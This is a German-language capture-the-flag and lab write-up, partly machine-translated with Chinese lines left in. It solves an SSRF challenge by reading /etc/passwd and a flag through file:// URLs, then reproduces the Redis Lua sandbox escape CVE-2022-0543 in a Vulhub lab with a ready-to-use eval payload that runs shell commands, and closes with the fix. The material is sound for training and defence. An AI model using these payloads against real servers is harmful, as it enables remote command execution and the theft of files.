Inhaltsverzeichnis
1. i Fragen zum Frühling und Herbst
2. CVE-2022-0543: (Redis-Sandbox-Escape)
Einführung in die Sicherheitslücke:
Wiederauftreten der Sicherheitslücke:
1. i Fragen zum Frühling und Herbst
Zielvorstellung:
Redis weist eine Code-Injection-Schwachstelle auf, die es einem Angreifer ermöglicht, Code aus der Ferne auszuführen.
Geben Sie das Thema ein:
SSRF-Sicherheitslücke:
Versuchen Sie, die in der Frage angegebene Website hinzuzufügen:
Sie können zur Baidu-Seite springen:
Systemdateien lesen: IP/?url=file:///etc/passwd
Flag /?url=file:///flag abrufen
Flagge{e30bd2d5-b4e8-4635-858f-5aac6604cd9c}
2. CVE-2022-0543: (Redis-Sandbox-Escape)
Einführung in die Sicherheitslücke:
Redis Labs Redis ist eine in ANSI C geschriebene Open -Source-Protokolldatenbank mit Schlüsselwertspeicherung, die vom Netzwerk unterstützt wird, speicherbasiert und persistent ist und APIs in mehreren Sprachen bereitstellt das amerikanische Unternehmen Redis Labs.
Redis weist eine Code-Injection-Schwachstelle auf, die es einem Angreifer ermöglicht, Code aus der Ferne auszuführen.
Wiederauftreten der Sicherheitslücke:
Zieldrohne
mithilfe des Vulhub-Schießstandes:
使用vulhub靶场
安装完成后我们进入到对应目录:
cd vulhub/redis/CVE-2022-0543/
然后执行命令,进行靶场编译和运行
docker-compose build
docker-compose up -d
运行完docker-compose后,打开我们的redis就是我们的漏洞环境了
Installieren Sie zuerst redis-cli:
kali安装redis-cli:
apt-get update && apt-get upgrade (更新源)
apt install redis-tools
redis-cli:
redis-cli -h 192.168.184.177//有漏洞IP
Ursache :
Diese Schwachstelle besteht, weil die Lua-Bibliothek in Debian/Ubuntu als dynamische Bibliothek bereitgestellt wird. package
Es wird automatisch eine Variable ausgefüllt , die wiederum den Zugriff auf alle Lua-Funktionen ermöglicht.
Wir verwenden die Loadlib-Funktion des in der Lua-Sandbox verbliebenen Variablenpakets, um die exportierte Funktion luaopen_io in die dynamische Linkbibliothek /usr/lib/x86_64-linux-gnu/liblua5.1.so.0 zu laden. Führen Sie diese Exportfunktion in Lua aus, um die io-Bibliothek abzurufen, und verwenden Sie sie dann zum Ausführen des Befehls:
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res
Nutzlast: (Ausführungsbefehls-ID kann geändert werden)
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
id-Befehl:
whoami pwd ls
An dieser Stelle können wir den Befehl ausführen.
Formale Lösung: package=nil am Ende der Lua-Initialisierung hinzufügen .
Vorübergehende Lösung: Dienst herunterfahren